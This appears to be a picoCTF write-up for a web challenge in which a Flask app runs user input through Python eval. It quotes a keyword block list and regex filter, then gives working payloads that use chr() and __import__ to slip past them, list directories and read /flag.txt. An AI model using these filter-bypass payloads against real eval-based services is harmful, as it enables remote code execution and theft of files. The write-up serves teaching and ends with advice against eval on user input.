PicoCTF — Write-Up

3v@l

Category:Web Exploitation

Points:n/a

Author:Kelvin Creighton

Difficulty:Medium

#web#eval#python#flask#rce

Research

Why eval is dangerous?

Executes a string as code.
What more is to be said honestly. (at least for this challenge)

Information Gathering

Taking a look at the HTML in the Inspector section in the Developer Tools we find this hint:

TODO ------------ Secure python_flask eval execution by 1.blocking malcious keyword like os,eval,exec,bind,connect,python,socket,ls,cat,shell,bind 2.Implementing regex: r'0x[0-9A-Fa-f]+|\\u[0-9A-Fa-f]{4}|%[0-9A-Fa-f]{2}|\.[A-Za-z0-9]{1,3}\b|[\\\/]|\.\.'

STEP 01Breaking Down the Regex

If we break down the regex, which has many parts split by the | (or) operator, we can see what it will and will not match with:

- `0x[0-9A-Fa-f]+`: One or more hexadecimal digits (0–9, A–F, a–f). - `\\u[0-9A-Fa-f]{4}`: Literally \u (the regex has \\u so it matches one backslash + u). Exactly four hex digits. - `%[0-9A-Fa-f]{2}`: Literally %. Exactly two hex digits. - `\.[A-Za-z0-9]{1,3}\b`: Literal dot. 1 to 3 alphanumeric characters. Word boundary. - `[\\\/]`: Matches either a backslash \ or a forward slash /. - `\.\.`: Matches .. (two dots).

STEP 02Analyzing Matches vs Non-Matches

Examples of what Matches and Doesn't Match:

- Hex literal: Matches `0xFF`, Doesn't Match `0x` - Unicode escape: Matches `\u0041`, Doesn't Match `\u123` - Percent encoding: Matches `%20`, Doesn't Match `%2` - File extension: Matches `.js`, Doesn't Match `.jpeg` - Double dot: Matches `..`, Doesn't Match `...`

Notice that underscores are also not blacklisted. This will come in handy later...

Creating the Payload

We know we can't use the `ls` command. However, there may still be a way to run a 'list directories' using `os.listdir()`. The problem is that the keyword `os` is also blacklisted.

STEP 01Bypassing the Keyword Blacklist

INPUTchr(111)+chr(115)

OUTPUTos

Reason: A trick we can use is through the `chr()` function to evaluate the letters. This outputs `os`, but it is still just a string object.

STEP 02Importing the `os` Module

INPUT__import__(chr(111)+chr(115)).listdir()

OUTPUT['app.py', 'static', 'templates']

Reason: This is equivalent to `__import__('os').listdir()`. It allows us to list the current directory contents.

STEP 03Exploring the Root Directory

INPUT__import__(chr(111)+chr(115)).listdir(chr(47))

OUTPUT['flag.txt', ...]

Reason: Now we dig around and find the `flag.txt` file in the `/` directory. We use `chr(47)` to represent the forward slash `/` since it's blacklisted by the regex.

STEP 04Reading the Flag

INPUTopen(chr(47)+'flag.'+chr(116)+'xt').read()

OUTPUT[Flag Content]

Reason: We need to open and read the file. But remember we are restricted with the regex (`/` is blacklisted along with any 1-3 letters after a dot). So instead we use `chr()` again to thwart the regex blacklist. A more robust solution would be `__import__('builtins').open(chr(47)+'flag.'+chr(116)+'xt').read()`.

Key Takeaways

Do not use `eval()` on user-supplied input. It leads to Remote Code Execution.
Blacklists and regex filters are often insufficient to prevent code execution because attackers can obfuscate or build the payloads using built-in functions like `chr()` and dynamic imports.

Flag

Captured Flag

[REDACTED]